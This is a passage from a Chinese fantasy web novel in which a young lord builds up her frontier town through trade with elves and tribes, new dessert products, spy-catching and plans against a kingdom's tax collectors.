况且各类文献和报道中也说过，飞禽送信的故障率很高，期间鸟儿可能偏航，也可能病死或被抓，所以往往会同时放飞若干只…… “当然可以啦！”海鹰骄傲地挺起胸膛，“我们每次出来都带一只呢！” 之前路上遇到意外，或是集市这边临时增减交易，又或者各族动向突然有变，都需要尽快通知家里。 不然等她们完成交易，慢吞吞赶回去，早完蛋啦！ “那可真是太好了！”云漠高兴极了，拉着海鹰的手说，“以后我们也可以经常写信啦。” 海鹰眨眨眼，小声说：“不过那是公共财产，如果没有特殊情况，是不可以私用的。” 所以之前她就没有告诉云漠。 训练能与人类沟通的海鸟可费劲了呢，哪怕是最厉害的驯兽师也要花费两三年！期间需要反复磨合，消耗很大，都是靠全族成员一起支撑下来的，所以是绝对意义上的公共财产。 “嗨，这有什么！”云漠嘻嘻笑道，“只要你们收到我的书信，你就知道我平安无事不是吗？同样的，等双方交流稳定下来，我也可以在信里问问你的近况呀！” 海鹰一下，确实如此，也跟着高兴起来。 海鹰热烈地期盼着和小伙伴的稳定交流，竟顾不得再多吃几个包子，马上兴冲冲回到营地，向长辈们说了这一情况。 阿索城日益强大，领主慷慨又和气，建交自然是好事。 海螺部落的其他成员也不含糊，次日一早就“海鸟传书”，向自家首领转达了阿索城领主的心意。 至于那张厚重的熊皮，因海鸟载重有限，只好等贸易结束慢慢带回去啦。 海鹰还偷偷告诉云漠，“族长夸过你呢，一定没问题的！” 从第一次见面时，族人们就对云漠印象极佳，自家族长如此积极回应，其实也是在委婉地表达建交意向。 海鹰已经忍不住开始畅想以后小伙伴去自家做客的场面啦！ 意外解决了个大问题后，云漠就美滋滋地找到石斧，开始推销“沁凉背心”。 正埋头吃牛肉馅儿饼的石斧有片刻错愕，嘴巴上还沾着油脂，便下意识往窗外看去： 啊，树荫处白茫茫一片残雪。 这时候推销“沁凉背心”？ 有没有搞错！ 我看上去真的这么傻嘛？！ “我曾听过一句非常富有哲理的话，叫做未雨绸缪，”云漠对石斧谴责控诉的目光视而不见，顺手拉过一张椅子，在石斧对面的桌边坐下，侃侃而谈，“啊，意思就是要想不淋雨，就要提前准备雨伞。冬尾巴即将过去，夏天还会远吗？石斧，作为虎部落的新一任年轻领袖，你的眼光要放长远呀！” 石斧被她说得一愣一愣的，咂巴下嘴儿，觉得非常有道理！ 夏季酷暑难当，去外面走一趟都要中暑，偏偏打猎又需要长期跟踪潜伏，哪怕兽战士身体强健，也会为此大大消耗体力。 千万不要小看这点消耗，野外狩猎，尤其是狩猎大型动物时，丁点差距都有可能带来截然不同的结果。 纵然强悍如石斧，夏日狩猎也丝毫不敢大意。 大家都知道精灵族内部有可以调节温度的神奇衣物，但很少外传。 而且兽神联盟与精灵族的嫌隙由来已久，双方都不屑于直接与对方做交易，这个领域一直是个空白。 而现在，云漠就要填补这项空白！ 虽然她至今未能领悟冰系魔法，但炎炎夏日，身上备一套水循环系统就足够了！ 来之前她就试验过了，但浩瀚森林的水系魔法材料相当有限，要么能耗高，要么异味重，都不太合适。 可是现在，不同啦！ 她要跟海螺部落建交啦！ 以后将会有源源不断的好材料，源头直达，没有中间商赚差价！ 石斧回忆了下往年盛夏捕猎时晒出油的经历，也是心有余悸，于是怦然心动。 “不过据我所知，魔法阵需要精神力激活才能运转，”石斧问出关键问题，“但我本人并不具备魔法天赋。” “这是个好问题！”云漠一拍巴掌，指了指房顶，再指指外面不远处的灰杉托尼，真诚地说，“但我的朋友，请相信我，我一直都在，随时为你服务！” 根据以往的经验来看，如果换成海螺部落特产的魔法材料，沁凉背心上的魔法阵至少可以持续半个月。 石斧也不是天天在外狩猎，完全可以随买随激随用嘛。 石斧的表情顿时精彩起来，半晌才幽幽道：“朋友，你这样不免让我联想起某种让人不太愉快的生物……” 地精。 云漠立刻表示受到了侮辱！ 然后转头就找绿藤去了：进货！ 制作沁凉背心的前提是背心，阿索城内暂时还没建立纺织产业链，只能先进货。 绿藤年纪大了，尤其怕冷怕热，对沁凉背心的兴趣比石斧更大。 藤部落种植了不少药材，其中就有清凉解暑的配方，但……如果可以不中暑，谁愿意喝药呢？ 不过她有点担忧价格。 作为经常与精灵族贸易的部落首领，绿藤很清楚类似魔法制品的高昂。 “放心吧，我的朋友！”云漠熟练地说着模板，嘴巴一开一合，似乎随时都能吐出莲花来，“精灵服饰之所以昂贵，是因为那些可爱的家伙们太过挑剔，恨不得在每一根丝线上雕刻，又要用丝线编织出精美的图案，还要使用最上等的魔法材料……” 精灵可是喜欢把魔法原石打粉做墨水的生物啊！ 多么奢侈！ 当然，一分钱一分货，精灵出品的魔法阵效力至少能持续大半年，而且舒适又美丽。 而云漠的就不同了，主打一个市场下沉，物美价廉。 既然如此，绿藤也没什么意见。 云漠现场画图，详细说了自己的要求，“既然是魔法产物，最好使用亲水的编织材料，比如十二棱管状藤就很好……对了，因为可能会用在户外，最好加个帽兜……” 一开始绿藤还兴致勃勃地凑过来，看她画的衣服样子，结果看着看着就戴上了痛苦面具： 这画的什么玩意儿？！ 绿藤发出一声沉重的叹息，不得不提前打断云漠的发挥，“我来画吧。” 不然我怕看不懂。 云漠：“……” 云漠表示受到了极大的侮辱！ 第62章 新品 精灵的耳朵非常尖，云漠跟石斧、绿藤达成协议的次日，紫叶就听到了风声，当晚夜袭树屋，翻来覆去地诉说着人类的自私和卑鄙。 期间紫叶格外点名强调兽神联盟，“那群货色，非常可恶……” 话里话外就是不配用好东西。 精灵族特产的恒温衣物根本不在市面上流通，所以倒不是怪云漠试图抢生意。 哪怕精灵们对这项生意的利润心知肚明。 “我的朋友，你知道的，研究魔法消耗太大了，”云漠有些无奈地说，“我必须想点儿办法多赚些。” 魔法之路注定伴随着无数失败，每次失败都像黄金焚化炉爆炸现场，长期损失之巨，足以令任何一位底蕴深厚的富豪颤抖。 事实上，云漠的消息一放出去，不光附近几个有实力的部族，就连来集市贸易的几个小国代表也展现出浓厚的兴趣，频频打探。 要知道，魔法道具一直都是人类贵族圈的大热门。 那些自诩上流社会的成员们，谁出门时身上不佩戴几样魔法产物，那一定是落魄了！ “不过你们可以放心，”云漠笑着对紫叶说，“我也是有原则的，不会泛滥，也绝不会主动出售武器……” 人类和精灵的立场始终微妙，如果她因一时贪婪过度向前者倾销杀伤性铭文产品，很有可能导致某些无法收场的严重后果。 这绝不是云漠希望看到的。 毕竟至少对现阶段的她而言，暧昧不清、暗处捅刀子的人类王国远不如精灵族来得亲近。 紫叶刚要再说，就被一股奇异的香气打断。 “啊，好了！”云漠立刻站起身来，穿戴好厚重的隔热手套，从烤炉里拖出一盘点心。 那些点心约有婴孩拳头大小，圆滚滚的，上半部分似乎涂抹了某种浅黄色的液体，非常可爱。 紫叶心中对兽神联盟成员们那些花样翻新的“诋毁”和“谴责”立刻沉寂下来，漂亮的绿眼睛好奇地打量着，“这是什么？” 诋毁天天都能做，美味的新点心可不是天天有。 现阶段的夜晚还很冷，新出炉的点心带出的浓重水汽立刻就被吹散，也随风飘入周围贸易者们的鼻腔中。 啊，好香！ 云漠摘下手套，从腿上的绑带间抽出匕首，呼着热气将其中一枚切开，向紫叶展示内部薄薄的叠层和复杂多情的馅料，“是一种加了黄油、肉松、豆沙和特质风味腌蛋黄的美味点心，特别好吃！” 和藤部落的交易，保障了充足的粮食供给； 与海螺部落的建交，保障了食盐供应； 收拢养牛人部落，则给新阿索城带来持续稳定的奶源…… 一切都在迈上正轨。 如今的烹饪、营销部已经发展为以霍莉为首，小河、青草等六人为辅的七人小组，另有部分不利于行的老弱打下手，做些清洁、处理的零活儿。 她们勤劳勇敢，借助各种工具和云漠的定时魔法辅助，产能惊人，甜品屋的营业额屡创新高。 可因围墙扩建，原甜点屋被划归新阿索城境内，许多人担心贸然前来会引发领地争端，诱发矛盾，都很自觉地绕行。 因贪吃而引发一位魔法师的误会什么的，哦，这可不是明智之举。 这么一来，新阿索城的治安得以保障的同时，也面临原址客源流失的问题。 所以霍莉上报后，便申请将原址定为与各族私下贸易的官方交易点，而新的甜品屋则挪到集市营地这边。 接下来天气会渐渐转暖，人类的狩猎、贸易、外交等一切活动必然加速进行，呈井喷式爆发。 甜品屋挪到各部轮流联合管理的公共区域，完全不愁客源。 哦，最妙的是三不管地带不用纳税！ 现在除了精灵族、兽神联盟、藤部落、海螺部落等熟悉的周边部族之外，甜品屋内也开始频频出现各国贵族和贸易团代表们的身影。 从踟蹰、审视，到品尝、沉沦，只需要一顿饭。 她们的生活习惯、饮食口味显然更接近新阿索城人类，短时间内便发展出不少忠实顾客。 其中一位小国的子爵公开表示，下次要将家人也带过来，一起品尝美味。 临走时还打包了大半车呢！ 有一部分精明的食客则欣喜地发现了甜品屋的另一个用途： 社交。 据说那位年轻的领主小姐是丹茂王国贵族出身，不过因为种种原因，似乎并未对丹茂王国展示出足够的敬重和归属感…… 但这都不重要。 重要的是，能来甜品店用餐的食客多有各部族、王国的重要成员，以及各地的精明商贩，大家完全可以在优雅舒适的室内，一边品尝美酒佳肴，一边轻松愉快地完成必要的信息交流和贸易合作。 值得一提的是精灵。 啊，多么令人震惊！ 自从种族混战后，各国贵族就再也没能与精灵和平地共处一室。 可是现在，就在这间其貌不扬的甜品屋里，各种族、各部落的成员，竟然都那样和平，那样自然地相处…… 太不可思议了！ 许多新食客纷纷猜测，猜测那位年轻的领主小姐到底以何种身份在其中起了怎样的作用…… 而云漠也敏锐地注意到，随着时间的流逝，有限的品种已经开始限制甜品屋的发展。 新的一年开始了，谁不想换点新口味呢？ 据小河偷偷汇报，不少客人都曾说过类似“啊，还是这些吗？”“当然还是要XX、XX和XX，难道还有更好的选择吗？”的话。 并非客人们已经厌倦了，甚至正在兴头上，但日复一日、亘古不变的菜单绝对是商业经营的大忌。 哪怕附近没有竞争对手也不行！ 于是在现有食材的基础上，云漠炒了牛肉松，熬了豆沙，还剥了咸蛋黄，尝试着烤出这个时空的第一盘蛋黄酥。 目前蛋黄酥有两种口味，豆沙和肉松的，切面层层分明的复杂结构瞬间俘获了精灵美食家的内心！ 好看！ 繁复又精巧，很符合精灵族的审美！ 也不知精灵族内部究竟是如何传递消息的，次日一早，以银星为首的一干精灵就在甜品屋内进行了团建。 去纳林霜老师家上课之前，云漠还熟门熟路往里瞄了眼，乐了。 放眼望去，全是熟面孔。 就连许久不见的瑟琳和呼尔雅也在。 霍莉正熟练地推销着新产品。 这位曾经号称领主大人第一贴身女仆的年轻女士，已经成功挣脱内部家务，初步具备了独当一面的气质。 她举起一只朴素的瓷罐，也不管精灵们能不能听得懂，侃侃而谈，“这是领主大人最新研制的美味，叫做肉松，使用了大量珍贵香料和棕糖、蜂蜜、上等白盐，不仅可以用来烘烤点心，将它们加在米粥里也很可口。或是揉在面包夹层中，烤出蓬松柔嫩的奶油肉松面包，都非常棒……” 说着，已经长高一大截的小河便从筐子里夹取一条柔软的白面包卷，当着精灵们的面切开，露出内部浓郁的肉松奶油酱来。 “请品尝。” 交易的次数多了，霍莉也彻底掌握了精灵一族的消费理念： 只要是没见过的，好看的，香喷喷的东西，对方都很乐意尝试！ 毫无疑问，这是世上所有商家都梦寐以求的绝佳客户！ 所以每次有了新品，霍莉都会率先向精灵推销。 这边的动静吸引了几乎所有食客的注意力，大家都忍不住扭曲着身体，努力伸长了脖子，试图窥探新品的全貌。 有一家四口坐得比较近，眼睁睁看着诱人的酱料塞满白面包，然后顺着切面缓缓流淌，不禁狠狠吞咽了下口水，然后大声对霍莉喊道：“请给我们也来一份！” 她们是某个王国的贵族家庭，因为自家封地就在附近，便趁着囤积物资过来玩耍，结果就被甜品屋吸引住了。 神明在上，她们自认品尝过上流社会中的绝大多数美味，却没有一种点心如此富有诱惑力。 而且甜品屋内部非常整洁！ 造型精巧的桌椅都被擦拭得干干净净，杯盘碗碟清洗得闪闪发亮，而除常见的围裙之外，甚至所有员工都佩戴了面巾！头发也用头巾严严实实得包裹起来，双手接触食物之前必须反复清洗，为的是防止口水、毛发和皮屑掉落。 啊，贵族食客们瞬间心生好感。 或许绝大部分王室成员辖下的仆从都没有这么细致呢！ “明智的选择，尊敬的女士、先生，肉松非常可口，酱料也富含养分，很有利于孩童的身体成长。”霍莉保持着礼貌微笑，适当地流露出一点遗憾的安抚，“不过很抱歉，领主大人说过，我们将优先接待贵宾。如果您愿意等待，我们现在就将您的桌号排到第二炉的前排！” 一家人对视一眼，都看到彼此眼中的热切，异口同声道：“哦，当然！” “请务必帮我们排得靠前一点儿！” 听听，连挑剔的精灵都经常来，跟着点一定没错儿！ 霍莉立刻扭头，冲柜台比了个手势。 接到讯号的青草立刻带人忙活起来。 其实肉松面包卷尚未出现在正式菜单上，根本无人点餐，而精灵们一口气也吃不了那么多，但……尊敬的领主大人说过，食客们最喜欢听上去稀有的东西！ 后厨很有点热，尤其是靠近烤炉的位置，大家都被熏得脸蛋红扑扑的，额头也挂满闪亮的汗珠。 但所有人都是那么快乐！ 领主大人说了，出来干活的所有人，对，是所有人，除每月固定报酬之外，还会根据什么“销售额”获得奖金！ 哇哦，这可真是太棒了！ 青草甚至忍不住沉浸到对美好未来的幻想中去，口罩上方露出的双眼被火光照耀得闪闪发亮。 领主大人还说，等天气热起来，她将为大家绘制水系铭文作品降温。 老实说，截至目前为止，所有人都不敢相信。 老天，那可是魔法道具！铭文作品！ 哪里是她们这种平民能够享受的！ 但……万一呢？ 如果，她是说如果，如果是真的，那么她体弱多病的小女儿就不用那么难过，大女儿也可以轻松许多了…… 等霍莉重新低下头，试图捕获精灵们的反馈时，就见银星冲自己露出一个和善的微笑，“很好吃，谢谢。” 这份感谢并不单纯是因为肉松面包卷，更多的还是因为人类弟子云漠始终牢记师生情谊，并毫不避讳地将与精灵族的官方友谊展现给人类世界。 银星确实从中感受到了欣慰。 那是一种酷似秋季收获的喜悦和安心。 近距离的美貌攻击顿时令霍莉的心脏一阵狂跳。 她强忍着头晕目眩，不怎么熟练地回了一句精灵语的“这是我应该做的。” 是的，她确实还没办法跟精灵进行漫长、深入的交谈，但双方毕竟接触了大半年，简单的问候和礼貌用语还是勉强可以说一说的。 一众容貌出色的精灵齐聚，顿时让整座甜品屋都熠熠生辉，出入的人类贵族不自觉挺胸抬头，交谈时也柔声细气，格外注意起自己的仪态。 据说早在两族关系和睦时，人类上流圈层便以精灵般举止轻盈为美，即便现在关系恶劣了，这种风尚也不过转为地下，未曾断绝。 可让云漠说，这纯粹是人类吃饱了撑得。 精灵可是纯粹的魔法生物，能站在细细的树梢上跳舞！ 那些家伙们的身体构造就跟人类截然不同，是真的轻！ 与其模仿精灵，还不如模仿兽神联盟玩儿命锻炼呢。 别的不说，起码现在以石斧为首的一干人等就可以肆无忌惮地对精灵们大肆嘲笑…… 第63章 税 云漠本人可能不太清楚，刚过去的那个冬天异常寒冷，是近几年少有的难熬，有许多底层人类死于冻饿和野兽袭击。 曾经的养牛人部落成员们也是在看到集市上其他面黄肌瘦的同类，听说谁意外死去后，才愕然意识到，前任首领阿茜真的做出了一个无比正确的决定。 充足的食物和安定的居住环境让她们的面色迅速红润起来，眼底有了神采，言谈举止间都是对美好未来的期盼。 尤其以阿苗为首的小孩子们，都长高好多，脸蛋上也有了肉。 外人难掩羡慕。 有几个与阿茜交好的人不断询问，是否能让年轻的领主小姐也将她们所在的部族纳入阿索城统辖…… 著名的种族混战导火索，“阿索城事件”已经过去近百年，亲身经历过的世代陆续死去，现存的新一代人很难理解祖辈们的耿耿于怀。 现在的阿索城早已今非昔比，曾经狠毒的贵族领主也早换了人做。 虽然不熟悉，但至少目前看来，她似乎很不错的样子…… 既然如此，为什么不大胆试一试呢？ 骄傲归骄傲，阿茜却不敢忘记现在的好日子是谁给的，自始至终只有一句话，“现在的我只是新阿索城的一名普通居民而已，实在说不上什么话。不过领主大人傍晚总会去甜品屋用餐，你们大可以直接表达心意。” 听了这话，有人跃跃欲试，有人只是讪笑，有人继续纠缠…… 不仅阿茜，就连霍莉那边也十分热闹： 好多人想来应聘！ 云漠没直接回答，先问道：“忙得过来吗？” 霍莉认真想了下，谨慎回答说：“平时还好，只是偶尔中午客人特别多，难免有点手忙脚乱的。” 憋了一整个冬日的渴望简直可怕，尤其是那些王国的贵族们，有钱又有闲，一旦发现什么新热闹，就恨不得立刻炫耀给所有人…… 最近甜品屋出没的贵族成员特别多！ 从最初的诚惶诚恐到现在的麻木机械，青草等人只用了短短三天。 太多了！ 附近的王国多如牛毛，随便进来一位都是“某某爵爷”，甚至是“某某公主”“某某王子”。 一开始大家还有些紧张的稀罕，可多了就不值钱了不是吗？ 爵爷、王子又怎么样呢？ 我家领主大人也一点儿不差呢！ “不过来之前夫人特意嘱咐我，”霍莉显得有些犹豫，“甘甜的果实易引来窃贼……” 谁知道来的究竟是什么人呢？ 贵族们的坏心眼儿可多了！ 难保不会想将她们的劳动成果据为己有，或许转头就打上“自制”的标记去讨好国王呢！ “这样的警惕很有必要，”真不愧是贵族圈子里滚出来的姨妈！云漠赞许地说，“但以后的工作只会越来越多，如果只靠你们几个人的话，一定会累坏的。这样好了，你亲自筛选，要手脚麻利、爱干净的，只让她们扫地、擦拭桌椅、洗刷碗筷，不许进后厨，更不许偷学技艺。也要叮嘱青草她们，不要随便与人交谈。” 至于想要投靠的人么，也不好一直回避。 领土肯定是要持续扩大的，而在这个时代，最宝贵的就是人口。 这趟出门，阿苗和小春也跟来长见识，两个小姑娘每天很积极地帮忙收集柴火、挖取野菜、摘野果，爬上爬下的疯玩儿，总算有了点小孩子模样。 不过玩耍之余，她们也没忘记练箭，非常刻苦。 云漠亲自叫了阿苗和小春来说话。 她表情严肃地说：“现在，有一项极其光荣而艰巨的任务要交给你们。” 持续数个月的训练让两个小姑娘几乎本能地挺胸抬头，大声道：“保证完成任务！” 她们的眼睛闪闪发亮，心脏砰砰直跳，唇舌都因为未知的挑战而干渴起来。 无论是怎样艰难的任务，为了领主大人，她们一定会完成的！ 云漠点点头，仔细说了现在的情况，“这几天我会亲自选几个人，以临时雇佣的身份进入外城，不过只许她们干些打水、砍柴、翻地除草的杂活儿，不准她们接近粮仓、厨房和药田……我要你们暗中好好观察，看她们到底有没有坏心，能做到吗？” 阿苗和小春年纪都不大，又是外来的，一般人不容易对她们起戒心。 而偏偏她们却是云漠最狂热的信徒，这项任务非她们莫属。 “能！”阿苗和小春回答得超大声。 严防死守之后，果然揪出来好多“坏人”。 大部分都是各国贵族派来“偷师”的，有的单纯是因为出价试图购买秘方被拒绝，就想干脆偷来好了；有的则如玛雅姨妈所料，想赶在甜品屋的名声进一步扩大之前掠夺成果，转头讨好王室成员…… 其中有几个被抓到后竟一点儿不慌，反而试图策反霍莉： “霍莉女士，您的厨艺令人惊叹，残破的阿索城实在不足以发挥您的才能，不知您是否考虑来公爵这边担任……如果有机会的话，或许您将有幸得到国王陛下的亲自召见！” 然后就被霍莉亲手打了一顿。 事实证明，能拉出纤细如法的云丝糖的结实臂膀，打人格外疼。 云漠拉着霍莉笑了几场，笑完了立刻托人捎口信，请守家的玛雅姨妈提高警惕。 霍莉马上跟着紧张起来，“可是小姐，我们要警惕什么呢？” 那些可恶的小偷不是都已经抓住了吗？ 说话时，云漠正低头擦拭精灵长弓。 一年过去，她长高了很多，臂展和力气都随之增长，之前紫叶送的那把长弓已经不再合适，于是前几天她又向对方换了一张新的，刚到手。 长弓一如既往的美丽，显然伴随体格和箭术成长的同时，精灵的雕刻技艺也更上一层，弓身缠绕的图案更加复杂、精致，不仅仅局限于常见的星月藤蔓元素，甚至还可以转着圈组成一则简单的小故事！ 这是一件附带致命杀伤力的绝美艺术品。 “霍莉，”云漠弯弓搭箭，尝试进行第一次射击，“各王国之间的联系可比我们想象得更密切呢！” 想必要不了多久，原阿索城所属的丹茂王国就会听到消息，知道这块昔日的被诅咒之地重焕生机。 “收税！”霍莉愤怒地说，“我才不承认什么税务官！” 可这种事情并非她不承认就可以回避。 税务官本身并不可怕，随行护送的骑士团才可怕。 “小姐，税务官真的会来吗？”一贯活力满满的霍莉声音中多了几分悲伤。 “会。”云漠的回答毫不留情地粉碎了一切侥幸。 没有任何一个国家的统治者会放任辖下百姓偷税漏税。 这比直接拿刀子割他们的肉还要疼痛。 “嗖！” 箭矢流星般射出，稳稳扎在前方的树墩上，因为力量太大，外层结实的树皮都爆开了。 “不过，”云漠缓缓吐了口气，“最快也要明年了。” 收税也要考虑成本的。 阿索城太过偏远，基础条件也太差，只要丹茂王国的统治者不愚蠢到家，就知道这种地方短时间内根本不可能恢复元气，更别提纳税。 大家都喜欢将猪养肥了再杀。 但养多久呢？ 云漠觉得，对方绝不可能忍耐太久，最迟明年就起码会派心腹来打探情况。 隐瞒？ 瞒得了一时，瞒不了一世，贵族们也不都是傻子，总有一天要曝光的。 所以云漠需要人口，需要一支至少能“令行禁止”的队伍。 既然王国的成员都要纳税，那她不当不就得了？ 为了达成这个目的，她还需要跟精灵族做一笔交易。 第64章 对策 随着各国交易团的陆续返回，新阿索城崛起的风声也零星刮入丹茂王国境内。 但正如云漠所料，相关消息暂时只局限于部分商人和贵族范围，并未继续上传。 因为大多数人对此都持怀疑态度。 听听吧，多么荒谬： 一个年幼的孤女，之前并未检测出任何魔法天分，赶着一辆破车去荒野中住了几个月，非但没有被野兽撕碎，反而摇身一变成为魔法师了？ 哦，听说她还突然觉醒了烹饪技巧，制作出各种令人垂涎的美味，并借此展开贸易。 甚至就连精灵族也不惜为此低下高傲的头颅？ 当那名羊毛商人在聚会上，借着向贵族们推荐新款纺织品的机会，绘声绘色地如此描述时，整个宴会厅都有片刻死寂，然后便爆发出此起彼伏的笑声。 几位正在挑选衣物的贵族干脆笑出眼泪，一边用精致的刺绣手帕擦拭眼角，一边假惺惺地惋惜起来，“哦，听听那可怜的姑娘，都快疯了！” 想当年，克劳德家族勉强也算王国中的体面人家，后来两位当家人陆续死去，还引发过热烈的讨论…… “那可是见鬼的精灵！死在那些魔法生物手中的人类绝对比那个野丫头吃过的白面包还要多！竟然也敢撒这样的谎！” “哈哈哈，什么白面包，去了哪种地方，能从野兽口中幸存就很令人意外，她怎么可能还有机会吃白面包呢？” 最后，笑过瘾的贵族们一致认定，那不过是一名落魄贵族少女的绝望幻想罢了。 宴会的举办者是一位公爵，带头笑完后还警告了讲故事的羊毛商人，“好了，你讲笑话的手段越来越不高明了，这样下去，还怎么奢望有机会取悦国王陛下呢？” 有贱民主动讨好，试图活跃气氛本该是一件很有面子的事，但如果说笑话的人编造的故事太离谱，也会让主人面上无光。 商人本想替自己辩解，顺便进献带回来的甜美棕糖，但想了又想，还是干巴巴地承认错误，最终决定什么都不说。 跟贵族打了这么多年交道，这些人的自大和自以为是他最清楚不过。 当所有人都认定某件事是虚构时，任何所谓的证据和辩解都会显得苍白无力，甚至解释也会被视为挑衅权威的反抗…… 算了，就当是假的吧！ 大不了以后真相曝光，自己被迁怒之前带着家人跑去加入阿索城嘛！ 他虽然没跟那位年轻的领主小姐说过话，但某次在甜品屋用餐时曾有幸近距离见过，确认对方确实如传言般精明能干，且强大。 云漠不知道丹茂王国高层的传闻发展到哪一步了，但结合无数历史规律，完全可以推测出以后的走向： 无非就是“招安”和“歼灭”。 前者云漠压根儿不做考虑，后者么，她在考虑歼灭王国军队的可能性。 如果说新阿索城如冉冉升起的朝阳，那么丹茂王国就是西沉落日，又如一位步入暮年的老者，实力和底蕴早已大减。 这是云漠敢于跟对方叫板的根源所在。 但中国有句古话叫“烂船还有三千钉”，说的就是庞然大物死而不僵的底气。 新阿索城最大的优势在于城主云漠是魔法师，而魔法领域恰恰是现阶段丹茂王国的短板。 但丹茂王国仍保有一支实力不详的骑士团，据说有数名强大的战士，可以迸发出足以媲美神赐的武技。 不过骑士团地位崇高，除非云漠真的叫嚣着要自立为王，真的惹出大乱且没有别的解决办法了，不然丹茂王国也不可能大材小用，让那样一支精锐来攻打“众神遗弃之所”。 传到邻国耳中，还不够笑话的…… “最快明年，”云漠对玛雅姨妈和霍莉说，“王国应该会先派下税务官来探听虚实，如果对方能被收买，一切就简单多了。” 玛雅姨妈习惯先考虑最坏的结果，“如果不能呢？” 要杀掉吗？ 那样的话，就等于直接跟王国宣战。 霍莉也有点久违的紧张。 不听从王国调遣是一回事，主动杀害代表王国意志的官员又是另一回事，二者的严重程度完全不同。 云漠先递给她们一个安抚的眼神，同时从书架上取下一卷羊皮卷，在桌上平铺开。 羊皮卷内赫然就是丹茂王国的地图，而阿索城就位于王国最东南角的边境地区。 “骑士团直接由国王掌握，轻易不会出动。假设我们要叛逃，即便王国真的要追究，也会先从附近的城镇征兵……” 养兵屯马绝对是世界上最烧钱的项目之一，尤其是在这样的封建贵族时代背景，各地高度自治，中央无法维持对地方的绝对权威，自然也就没有从上到下的完整军队体系。 国王和领主、贵族们都有私兵，各地治安也是靠这些私兵维持。 而正因为是私兵，属于贵族私人财产，谁也不舍得随便消耗，一旦遇到战争，所有人都会做出同一个选择： 从底层贫民中征兵，临时组建军队。 厚道的统治者会发放给相应的武器，但更多的则会这么说： “拿起你们的锄头、木棍，去为王国勇敢的战斗吧！” 这种制度直接导致“士兵们”战斗力极低，很多时候甚至根本组织不起有效的冲锋和撤退！ 因为这些匆忙上阵的士兵不久前还是农夫、铁匠、面包师，既不识字，也不具备任何战斗素养。 但所有地方都如此，大家一样烂，就显得很平衡。 不怕说句自大的话，只要没有意外发生，等到明年，阿苗和小春等人的战斗力完全不会输给那些临时组建的散沙。 最大的问题就是人口。 如果是城市、领地之间的斗争，大家都差不多的水平，自然没什么问题，可一旦对上国家…… 作为领主，云漠必须考虑到方方面面。 霍莉看了云漠一眼，试探着说：“能不能寻求精灵的帮助呢？” “嗯，”云漠点头，“我已经跟紫叶说过，请精灵帮忙在领地外围绘制攻击性魔法阵，有需要时随时激发，平时简单维护就好。” 霍莉感到安慰，但不多。 这么说来，还要小姐亲自上阵呀。 唉，她这个第一女仆真是失职！ “我知道你想说什么。”见霍莉欲言又止，云漠笑笑，“但这件事归根结底也是王国内部纷争，精灵不可能因为和我个人的私交随意插手，那样就违背当年的《停战协议》了。” 一旦《停战协议》失去约束力，人类世界就可以联合对精灵族宣战，今天我打你，明天它打我，世界重归混乱。 哪怕云漠再受欢迎，那位敏锐聪慧的精灵王也不可能允许这种情况发生。 “另外，我与虎部落初步达成协议，过几天会有战士来指导巡逻队的格斗技巧。”云漠对玛雅姨妈说，“姨妈，还要麻烦您为我们的格斗老师准备下住处和日常用品。” 格斗云漠实在不擅长，而且现在她也太忙了，不可能事事亲力亲为。 一名真正合格的领袖最该学会的是筛选人才、分配权力，而不是将一切都死死抓在自己手中。 集市正式结束那天，云漠送给绿藤许多麦种，都是她过去一年不断催化、筛选出的生命力最澎湃的。 绿藤非常意外，“给我们的？可是我暂时想不出可以用什么来交换。” 在过去的集市贸易中，双方已经完成了必须的交易，草药、粮食、织物……都换过了。 云漠想了下，笑着说：“如果真要表达感谢，就请您用心培育，以后回赠给我更优秀的种子吧！” 她确实可以利用魔法反复种植，甚至从中挑选出成活率最高的部分，但真正想要扩大种植面积时才发现，“种地”和“魔法”并不完全等同。 因为植物的生命力只代表它不容易死，并不意味着绝对高产。 更适合搞绿化。 以小麦为例，它或许非常健康，但可能只是一味长高、不结果，又或者特别容易招虫子，面对风雨时的抗倒伏性也差得要命…… 果然任何一门学问都不简单。 云漠的坦率获得了绿藤极大的好感。 嗯，有这么一个同盟，感觉不坏！ 人的心理活动其实很容易体现在行为上。 纳林霜很快就发现，人类弟子在铭文学习中，开始更多地关注攻击模块。 纳林霜非常欣慰。 最好的防守就是进攻，魔法师就要激进。 啊，天气转暖，一年中最适合学习的时间到了不是吗？ 精灵根本不问缘由，就直接塞过来许多攻击魔法阵和药剂配方。 受宠若惊的云漠简单翻看了下，嗯……哪怕以她如今危机四伏的立场来看，部分魔法也未免有些过于偏激了。 比如这个【舒缓药剂】，据说是为了缓解患者的各种身体疼痛，应用比较广泛，原材料也非常简单： 只要一点麻草的籽，烘干后碾成粉末，跟灰杉树皮充分搅拌，加热后就会挥发！吸入瞬间起效！ 云漠对此很感兴趣，当晚回到树屋后就开始做，结果小猴子蒲公英过来找她玩，药剂粉末挥发的瞬间，一人一猴齐齐倒地，一觉到天明。 甚至早上醒来时，云漠还在树屋外的草地上发现了若干昏睡中的鸟和松鼠！ 事后，心有余悸的人类弟子非常恭敬地请教纳林霜，“老师，那个【舒缓药剂】……真的应用广泛吗？” 就那个劲儿，是蒙汗药吧？！ 纳林霜懒洋洋地瞥了她一眼，“当然。” “什么时候？” “战时。” 第65章 扩张 亲眼所见的事实比任何口头承诺都更有说服力。 原养牛人部落在集市上展现出的绝佳状态打动了许多人，不等贸易彻底结束，霍莉就收到若干投诚讯号。 其中大多来自原阿索城后裔，如今的浩瀚森林外围游民，另外还有几个小型的农耕族群。 初春来临，新阿索城面临进一步扩建，广袤的耕地也需要人手开垦、照看，更别提还有悬在头上的王国税收之剑。 云漠让霍莉和阿茜放出消息，新阿索城欢迎各族同胞。 但前提是要经过考验。 这个消息一出，许多原本不敢开口的人也开始大着胆子前来报名，决定试试运气。 漫长的冬季真的太难熬了。 严寒、疾病、兽灾，还有随时可能发生的食物和燃料短缺，无时无刻不摧残着人们的身心，令人身心疲惫。 如果能有一位强大的领袖，就好了…… 云漠大刀阔斧地剔除掉部分别有用心者，剩下的让霍莉和阿茜按照战士、农耕和养殖特长分别筛选。 扩张势在必行，但前期宁缺毋滥。 只有凭实力入选的居民才能获得携带家人的资格。 来的人属实有点出乎意料的多，短短三天，霍莉和阿茜就选出近80人。 再加上这些人携带的家属，已经远远超过新阿索城现有人口。 人员的安置、管理迅速提上日程。 云漠向纳林霜请了几天假，亲自带新成员们返回新阿索城，然后在所有人的亲眼见证下，以魔法【画地为牢】迅速搭建起简易的房屋。 然后，她用魔法翻卷荒地…… 